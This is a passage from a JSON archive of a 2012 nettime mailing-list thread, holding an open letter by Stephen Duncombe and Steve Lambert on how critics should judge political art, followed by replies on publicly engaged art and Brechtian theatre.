tradition that serves conventional art criticism doesn't often work\nwhen it comes to political art. Drawing together art's historical and\ntheoretical connections, while impressive to the writer's erudite\nreadership, and possibly entertaining, is largely irrelevant. There are\nconnections to be drawn, to be certain, but the valid ones here are more\nlikely to be found in histories of social movements and textbooks in the\nfields of marketing, advertising, and public relations. Theories in human\ncognition and decision making, for example, are far more applicable,\nuseful, and insightful into the work of the artistic activist than\ndiscussion of its relation to the newest aesthetic or Albers' color\ntheory. The training most critics have is not sufficient for fully\nunderstanding this work. Indeed, knowledge of sociology, community\norganizing, or rhetoric lends crucial insight into what political artists\nare doing, and whether they are doing it well. You are not alone in your\nignorance. We readily admit that many artists are in dire need of this\nknowledge as well.\n\n4. What medium and why?\n\nFor art critics, medium is important. It situates the work within an\nhistorical canon, provides context and meaning, and a sense of continuity.\nFor the artistic activist medium is important too, but as a means: the\ninstrument through which one reaches the audience to effect change.\nTherefor, discussions about means are dependent on political\nconsiderations, such as who is the audience, how they are most effectively\nreached, and so on.\n\nTo privilege one medium over another in the absence of a discussion of\nefficacy is to miss the point. A good political artist's practice is\npromiscuous when it comes to medium. Critical Art Ensemble said it best\nwith four words. The artistic activist works: \"by any media necessary.\" A\ngood critic, therefor, judges the political artist on the mastery of the\nmedium they choose for the task at hand.\n\n5. What kind of mastery is required?\n\nFine artists are often rewarded for the degree of control and mastery over\ntheir medium. We valorize artists who can transform materials to fully\nexpress their vision without compromise.\n\nPolitical art, however, is engaged in the world. The world is messy. It\nhas a lot of moving parts. This material is impossible to fully control or\nmaster -- and shouldn't be (unless you have fascist ambitions). Whereas\ncompromise for the traditional artist means diluting their vision,\ncompromise for the political artist is the very essence of democratic\nengagement.\n\nThe venue for the traditional artist is galleries and museums -- controlled\nspaces where the art itself does not need to speak very loudly because all\nattention is focused on it. Political art has a dauntingly large venue: the\nstreet, the marketplace, the mass media. This is an out-of-control space\nwhere one competes with the cacophony rather than retreating into silence\nand solitude. Political art, responding to this space, is often brash and\nloud. Subtlety is sometimes not its strong point. But we shouldn't fault a\ncreative activist practice for what's inherently required of it. Indeed,\nit should be judged on how well it opens up a space, is read, and\nunderstood within this arena.\n\nSome art lovers may be turned off by this focus on the practical and\ntactical, but for creative activists these concerns are essential. We are\nnot, however, arguing that the informed art critic should simply be\njudging political art on how effective it is in communicating a message.\nAesthetics matter -- but they needn't be seen in opposition to efficacy. If\none's goal is to affect change, form serves function. Art that succeeds\naesthetically also has a better chance of succeeding politically.\nBeautiful art is art that people are drawn towards. The power of art lies\nin its ability to open up a space to ask questions rather than deliver\nanswers. We think this makes for good politics too.\n\n6. What am I missing?\n\nThe \"art world\" is truly a world all its own, with separate cultural\nspaces, communities, and languages. The detachment of fine arts from\npopular culture is the norm.\n\nAlternatively, for creative activists, popular culture is their briar\npatch. Whereas in fine art, engaging in this terrain is read as pandering,\nironic, \"critical,\" and at all times, exceptional, for political artists\nit is the rule. In order to reach everyday people one must speak in a\nlanguage they understand. This can be interpreted as dumbing things down.\nIt is not. In order to convey complex radical ideas in a vernacular\nlargely developed for and oriented toward consumer sales and crass\nmanipulation requires a great deal of intelligence and skill. And the\nbetter you do it, the more likely it is to be overlooked.\n\nWithin the fine art world to stand out and be noticed is a clear sign of\nsuccess. In the practice of artistic activism you are more successful the\nmore your art weaves into the fabric of popular culture -- lost to the art\nworld. The entire effort is shrouded in camouflage.\n\nCritics are forgiven for passing over the best of this work in the past,\nbut let's all begin to look more carefully, ok?\n\n7. What's my role as a critic?\n\nThe relationship between artists and critics is often a fraught one.\nCritics can be lauded for how well they skillfully and cleverly demolish\nand denigrate artists' work. This aligns with the dominate competitive\nlogic of the commercial art world. This is the paradigm, in part, that\npolitical art is trying to change. Despite this cannibalistic tendency,\nwe all know that makers and critics live in symbiosis. This is especially\ntrue when the art operates in the broader society and the function of the\nwork is not to be a unique and valuable object but to effect the world.\n\nIn this realm, the art critic is part of the team, with everyone working\ntowards the big win of a better world. Being a good team member for artists\nmeans making powerful work. Being a good team member for the critic means\noffering insightful, relevant, and instructive criticism.\n\nArt critics raise questions. Questions are good. But questions for what\npurpose? If you're a political artist, and you're primarily showing people\nhow smart and clever you are, you're not producing good political work.\nThe energy is misdirected. The same goes for critics. If you're writing\nprimarily as a demonstration of how smart and clever you are, you have lost\nthe soul of being a critic.\n\nThe critic might want to ask themselves, why am I writing this? Am I\nclarifying and illuminating the work? Am I instructing the artist and the\naudience so that better work is produced. Or am I \"problematizing\" as a\ndemonstration of my prowess as a thinker. (\"Problematizing\" is too often\nused as a cheap substitute for understanding, analyzing and aiding.)\n\nBeing a critic, like being an artist, involves some degree of\nselflessness. There is a larger purpose. The critic, through their\nattention and analysis of the work, provides a helpful service.\n\nOf course we all know this, but it's easy to get off track.\n\nIt's bigger than you and it's bigger than the art.\n\nModern art is rooted in the belief that the artists' individual expression\nis important. In turn, the individual critic's opinions about said artists\nand art are important. Think Pollock and Greenberg.\n\nWith political art a bigger game is being played. There are still\nindividual artists and individual critics, but the stakes are not about the\nreputations of artists and critics. What's at stake is the transformation\nof the entire society. If this sounds grandiose, you may be in the wrong\nbusiness.\n\nWe don't train people to be good political artists in our art schools.\nMost institutions are slow to adapt and are, at best, fighting the old myth\nof the lone genius artist expressing their vision in spite of society,\nrather than moving forward towards a world in which artists work\ncollectively in an embedded engagement with society.\n\nCall us optimists, but we assume anyone producing creative work to affect\npower is doing it from a sincere and passionate place. If it's not working,\nit's not because they don't care enough or aren't committed. It's because\nwe haven't developed a critical tradition that helps artistic activists\nstrengthen their work. Political art needs help.\n\nThis is why we need you.\n\nBecause we're all in this together.\n\n--\n\nSee also:\nhttp://artisticactivism.org/2012/10/an-open-letter-to-crtitcs-writing-about-political-art/an-open-letter-to-art-critics/\n\nThe Center for Artistic Activism: artisticactivism.org\nSteve Lambert: visitsteve.com\nStephen Duncombe: stephenduncombe.com\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                "to": "nettime-l {AT} kein.org",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1210/msg00020.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> open letter to art critics",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "follow-up": [
                    {
                        "from": "Brian Holmes <bhcontinentaldrift {AT} gmail.com>",
                        "content": "\nAn open letter to critics writing about political art\n- Stephen Duncombe & Steve Lambert\n",
                        "id": "00021",
                        "date": "Thu, 25 Oct 2012 15:14:35 -0500",
                        "to": "nettime-l {AT} mail.kein.org",
                        "message-id": "50899DAB.6040609 {AT} gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1210/msg00021.html",
                        "content-type": "text/plai",
                        "author_name": "Brian Holmes",
                        "subject": "Re: <nettime> open letter to art critics"
                    },
                    {
                        "from": "lick Harrison <flick {AT} flickharrison.com>",
                        "content": "When I read a sentence like this:\n\n\"Much harder, much more ambitious, and therefore much more difficult to\nevaluate, is art that intends to change the very way we see, act and make\nsense of our world -- including what we understand to be politics itself.\"\n\nI see my life story unfolding in a single problem.\n\nThis kind of subtle, provocative or ontologically-challenging work means,\nfor one thing, an audience limited to those interested in both art and\npolitics simultaneously.\n\nI would add, however, that the words \"art\" and \"politics\" could be swapped\nin that sentence, with equal truth.\n\nWhen engaging with activists there is a demand for practical political art;\nagitprop, posters, propaganda, fundraising videos, etc.  When the artist\nstrays from dogma, they become useless, if not dangerous, to movements.\nMeanwhile, engaging the art world with politicized art brings the spectre\nof partisanship (with its threat to state funding & rich donors) if not\nsimple disinterest or politically-motivated rejection.\n\nTherefore at the same time as you call for more critical consideration of\npolitical art, I'd call for more political consideration of it as well.\n\nI'm currently in a collective doing what's called here \"publicly engaged\"\nart; that is, artist residencies in community centres etc where the act of\nbringing people together to make art is seen as a positive political\naction.  The content of the art is irrelevant to that - except insofar as\nthe content must emerge from the participants, rather than from above.\nIt's important to push for high-quality final product, to create a\ndedicated team, etc, but the politics is contained in the form of the\nproject rather than in the results.\n\nHere's our website:\n\nhttp://somethingcollective.ca/\n\nCritical reception for this kind of art, as far as I can tell, is pretty\nslim.  It's not considered \"good enough\" to warrant proper critical review,\nsort of like community theatre, and the political process contained in the\nwork isn't relevant to art theory, or something.\n\nHeadlines Theatre is another group that does this kind of work in a\ndifferent way - they do Boal-based Theatre of the Oppressed projects, i.e.\ninteractive forum theatre with audience members getting on stage to try to\nwork out the characters' problems.  The theatre critics often don't really\nconsider it proper theatre, though there is the occasional review.\n\nThis one is from Jerry Wasserman, who is the head of the UBC Theatre and\nFIlm Department, which I suppose is as legit as it gets, although UBC is\nmore production- than theory-oriented:\n\nhttp://www.vancouverplays.com/theatre/reviews/review_after_homelessness_09.shtml\n\nIn any case, my latest work is this video I created with an anonymous\nactivist group in Newfoundland, who took advantage of my residency at Black\nBag Media Collective to get me on board their anti-pesticide campaign.  I'd\nlove to hear any critical reaction to it.\n\nhttp://youtu.be/QEoZJWmcBjk\n\n\n-Flick\n\n--\n* WHERE'S MY ARTICLE, WORLD?\nhttp://wikipedia.org/wiki/Flick_Harrison\n\n* FLICK's WEBSITE & BLOG: http://www.flickharrison.com \n\n\nOn 2012-10-25, at 06:03 , Geert Lovink wrote:\n\n> (Written in response to the lack of debate during last weekend's \n> Creative Time conference in NYC. I think art criticism is important \n> source of inspiration and reference (or not) for net critique. The \n> letter also refers to the ongoing, almost funny neglect by the 'art \n> world' of 'new media'. /geert)\n> \n> An open letter to critics writing about political art\n> - Stephen Duncombe & Steve Lambert\n> \n> Last weekend Creative Time held their fourth annual summit on the current\n> state of artistic activism. Over two days, scores of political artists from\n> around the world gave short presentations and organized longer workshops.\n> Hundreds of people participated.\n <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00024",
                        "date": "Fri, 26 Oct 2012 07:44:07 -0700",
                        "to": "Nettime <nettime-l {AT} kein.org>",
                        "message-id": "22d529e5d635dbde280bec66a68bb6b8 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1210/msg00024.html",
                        "content-type": "text/plai",
                        "author_name": "Flick Harrison",
                        "subject": "Re: <nettime> open letter to art critics"
                    },
                    {
                        "from": "Margaret Morse <memorse {AT} comcast.net>",
                        "content": "Dear Flick,\n\nI agree with you and Geert that publicly engaged art is important and that\nit gets little critical attention.  What struck me about the theater review\nfrom Vancouver--\nhttp://www.vancouverplays.com/theatre/reviews/review_after_homelessness_09.shtml\n-- is that it provided a valuable description of the remarkable performance\nas well as the reviewer's despair about the eventual prospects for success\nof this emerging form of theater in actually providing actionable ideas for\nsocial change.  The Vancouver play offers the audience the delicious\nopportunity to see some audience members actually intervene in the\nperformance and take the unfolding narrative in another direction again and\nagain.  Furthermore, we have a life/art connection of the actors and the\naudience who have experienced difficult and demoralizing life events and\nlived.  What failed for the critic was the reception by the audience,\nparticularly in the focus discussion afterwards.  \n\nHowever, the stakes here are far more fundamental. Why not think about this\nas a matter of practice and cultivation?  Why should a public be good at\nthis when they have so few opportunities to develop their critical\ncapacities? For me, this genre takes off from Bertolt Brecht's ideas and\npushes them further along.   Brecht's performance practices aim at\nactivating critical faculties that lead to action in the world--the\naudience should be able to see unfolding dramatic events in the life course\nas far from inevitable.  That entails a number of performance practices\ntypical of a Brecht play:-for instance, the actors don't embody or identify\nwith their roles; the narrative is constantly being interrupted with\nmoments for reflection; dramatic events are put within a larger\nsocio-political context and discourse.  We critics of publicly engaged art\nalso need more practice in writing on such performances.  We also need to\ncreate a space and an audience with which we can engage and hone our\nabilities.   I regret having had to put down my pencil for several years\nafter co-convening a very successful conference on The Art of Collaboration\nheld at UC Santa Cruz in 2008.  Word did not get out about the conference\ncontributions, to my regret.\n\nAll the best,\nMargaret \n\n\nOn Oct 26, 2012, at 7:44 AM, Flick Harrison wrote:\n\n> When I read a sentence like this:\n> \n> \"Much harder, much more ambitious, and therefore much more difficult to\n> evaluate, is art that intends to change the very way we see, act and make\n> sense of our world -- including what we understand to be politics itself.\"\n> \n> I see my life story unfolding in a single problem.\n> \n> This kind of subtle, provocative or ontologically-challenging work means,\n> for one thing, an audience limited to those interested in both art and\n> politics simultaneously.\n <...>\n\nMargaret Morse\nEmerita Professor of Film/Digital Media\nUniversity of California Santa Cruz\n \n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00029",
                        "date": "Sat, 27 Oct 2012 09:52:48 -0700",
                        "to": "Nettime <nettime-l {AT} kein.org>",
                        "message-id": "cb17a54d53f5ea93c2931c19d7127f07 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1210/msg00029.html",
                        "content-type": "text/plai",
                        "author_name": "Margaret Morse",
                        "subject": "Re: <nettime> open letter to art critics"
                    }
                ],
                "message-id": "1a0c556bcce795f93f7b633cc8122198 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                "date": "Thu, 25 Oct 2012 15:03:18 +0200",
                "content-type": "text/plai"
            }
        ],
        "desc": "..."
    }
}